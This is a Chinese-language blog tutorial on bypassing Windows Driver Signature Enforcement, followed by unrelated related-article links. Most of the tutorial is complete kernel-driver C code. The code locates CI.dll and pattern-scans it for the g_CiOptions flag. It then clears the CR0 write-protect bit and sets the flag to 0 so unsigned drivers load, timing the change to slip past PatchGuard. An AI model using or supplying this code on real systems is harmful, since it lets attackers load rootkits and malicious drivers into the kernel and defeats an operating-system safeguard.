内核过DSE驱动签名验证.
一丶简介
现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.
下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了
你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.
原理:
原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.
全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.
二丶逆向CI.dll寻找Path位置.
既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.
结果
虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.
一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名
代码:
#include "Driver.h"
#include <wdm.h>
//KLDR_DATA_TABLE_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
}
LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
return (LONGLONG)pCurrentModule->DllBase;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
return 0;
}
typedef struct _BASEMANGER
{
LONGLONG StartBase;
LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER;
BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL;
PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
BASEMANGER BaseManger = { 0 };
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
return BaseManger;
}
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
BaseManger.StartBase = 0;
BaseManger.EndBase = 0;
return BaseManger;
}
//核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6;
KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
KIRQL DisableMemProtected()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
}
void EnbaleMemProtected(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
DWORD64 SerchAddress = CiStartAddress;
DWORD64 Address;
KIRQL Myirql;
int nCount = 0;
int isFind = 0;
int i = 0;
int isRead = 1;
if (SerchAddress == 0)
{
return 0;
}
__try
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
while (SerchAddress++)
{
if (SerchAddress + 2 > CiEndAddress)
{
break;
}
isRead = 1;
for (i = 0; i < 2; i++)
{
if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
{
isRead = 0;
break;
}
}
if (isRead == 1)
{
if (*(PUSHORT)(SerchAddress) == 0x15ff)
{
Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
if (MmIsAddressValid((PDWORD64)Address))
{
if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
{
while (nCount < 100)
{
nCount++;
SerchAddress--;
if (*(PUSHORT)(SerchAddress) == 0x0d89)
{
isFind = 1;
break;
}
}
break;
}
}
}
}
}
KeLowerIrql(irql);
}
__except (1)
{
DbgPrint("搜索数据失败!");
}
if (isFind == 1)
{
//DbgPrint("SerchAddress:%p\n", SerchAddress);
g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
g_CiOptions = *(PLONG)g_CiOptionsAddress;
DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions);
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
return TRUE;
}
else
{
DbgPrint("搜索数据失败!\n");
return FALSE;
}
}
void EnbalDse() //开启DSE保护
{
KIRQL Myirql;
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
ULONG iCount = 0;
NTSTATUS ntStatus;
UNICODE_STRING uModuleName;
BASEMANGER Base = { 0 };
RtlInitUnicodeString(&uModuleName, L"CI.dll");
pDriverObj->DriverUnload = DriverUnLoad;
Base = GetModuleBaseByNames(pDriverObj, uModuleName);
if (Base.StartBase != 0 && Base.EndBase != 0)
{
DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
//EnbalDse(); //关闭DSE
}
return STATUS_SUCCESS;
}
ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。
原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。
另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。
内核过DSE驱动签名验证.的更多相关文章
- 基于ubuntu-2.6.35内核的SDIO-WiFi驱动移植
一.移植环境: 1.主机:Ubuntu 10.10发行版 2.目标机:FS_S5PC100平台 3.交叉编译工具:arm-cortex_a8-linux-gn ...
- Windows内核安全与驱动开发
这篇是计算机中Windows Mobile/Symbian类的优质预售推荐<Windows内核安全与驱动开发>. 编辑推荐 本书适合计算机安全软件从业人员.计算机相关专业院校学生以及有一定 ...
- linux内核SPI总线驱动分析(一)(转)
linux内核SPI总线驱动分析(一)(转) 下面有两个大的模块: 一个是SPI总线驱动的分析 (研究了具体实现的过程) 另一个是SPI总线驱动的编写(不用研究具体的实现过程) ...
- 【转】 linux内核移植和驱动添加(三)
原文网址:http://blog.chinaunix.net/uid-29589379-id-4708909.html 原文地址:linux内核移植和驱动添加(三) 作者:genehang 四,LED ...
- hisi3559的usb无线网卡驱动(rtl8192cu)(一条龙服务:内核编译、驱动编译、iw等工具编译)
usb无线网卡驱动(rtl8192cu) 内核编译.驱动编译.iw等工具编译 (哈哈,如果有其他问题,麻烦留言:) 环境 板卡:hi3559av100(arm64) 交叉编译链:aarch64-hi ...
- Linux系统调用怎么和内核或底层驱动交互的
学习Linux系统下驱动程序开发已有大半年时间,心中一直有个疑惑:那就是诸如open.write.read等系统调用是怎么和内核或底层驱动建立起联系的呢?今天将自己的一些粗略的理解总结如下. ...
- Linux内核调用I2C驱动_驱动嵌套驱动方法
禁止转载!!!! Linux内核调用I2C驱动_以MPU6050为例 0. 导语 最近一段时间都在恶补数据结构和C++,加上导师的事情比较多,Linux内核驱动的学习进程总是被阻碍.不过,十一假期终于 ...
- 《windows内核安全与驱动开发》ctrl2cap中的ObReferenceObjectByName疑问
国内有关于windows内核驱动这块的书籍实在是甚少,不过好在<windows内核安全与驱动开发>这本书还算不错(内容方面),但是不得不说这本书在许多地方存在着一些细节上的问题.比如我今天 ...
- linux字符设备驱动中内核如何调用驱动入口函数 一点记录
/* 内核如何调用驱动入口函数 ? *//* 答: 使用module_init()函数,module_init()函数定义一个结构体,这个结构体里面有一个函数指针,指向first_drv_init() ...
随机推荐
- VS2019+EF6连接Mysql
开发环境:Win10 + VS2019Mysql服务器版本:8.0.16 一.下载并安装插件(必备) MySQL-Connector-net-6.9.12 链接https://cdn.mysql.c ...
- asp.net core web的导入导出excel功能
这里主要记录下asp.net core web页面上进行导入导出excel的操作. 主要是导入,因为现在使用的很多前端框架(例如kendo ui)本身就有导出的功能. 这里使用到EPPlus.Core ...
- 第二章 Maven 构建 Java Web项目
本教程中,我们将教给大家如何创建一个基于Spring MVC 的 Maven Web Project. 用到的技术/工具: 1.Eclipse 4.9 2.Maven 3.6.2 3.Tomcat 8 ...
- 总结HTML5新增的标签及功能
https://my.oschina.net/chengkuan/blog/422306 标记意义及用法分析/示例 属性/属性值/描述 <article> 定义独立的内容,如论坛帖子.报纸 ...
- 虚拟机-VMware小结
1.网卡的3种模式 桥接模式:虚拟机=物理机器,连接物理网卡,虚拟ip设置物理网卡的网段和网管.可上网. NAT模式:虚拟机把物理机器当做路由器,虚拟ip网段ip自动获取.可上网. https://w ...
- ubuntu16安装php开发环境
一,安装 ubuntu 工具 sudo apt install -y git curl zsh vim 二,安装php 和 php-fpm , redis ,memcached 等 sudo apt ...
- JS实现俄罗斯方块
在80后.90后的儿时记忆里,俄罗斯方块是必备的消遣小游戏,它的玩法非常简单基本大家都懂,但如何用编程语言开发一款儿时同款「俄罗斯方块」,恐怕知道的同学就很少啦. 位置掩码和旋转掩码 俄罗斯方块游戏中 ...
- python基础语法4 文件处理
1.什么是文件 操作系统提供给你操作硬盘的一个工具 2.为什么要用文件 因为人类和计算机要永久保存数据 3.怎么用文件 相对路径:a.txt # 必须与当前py文件在同一级目录绝对路径:D:\项目路径 ...
- wordpress面包屑导航简单实现
前面我们学了一行代码搞定WordPress面包屑导航breadcrumb,现在wordpress文档中有一个简单实现的方法,适用于page页面,有二级分类的情况(Simple breadcrumb t ...
- C++将模板的声明和定义放置在同一个头文件里
1. 一个类: 头文件用于保存类的声明:定义文件保存类的实现. 2. 分离编译模式: 允许在一个编译单元(.cpp文件)中定义函数.类型.类对象等,然后在另一个编译单元中引用它们.编译器处理完所有 ...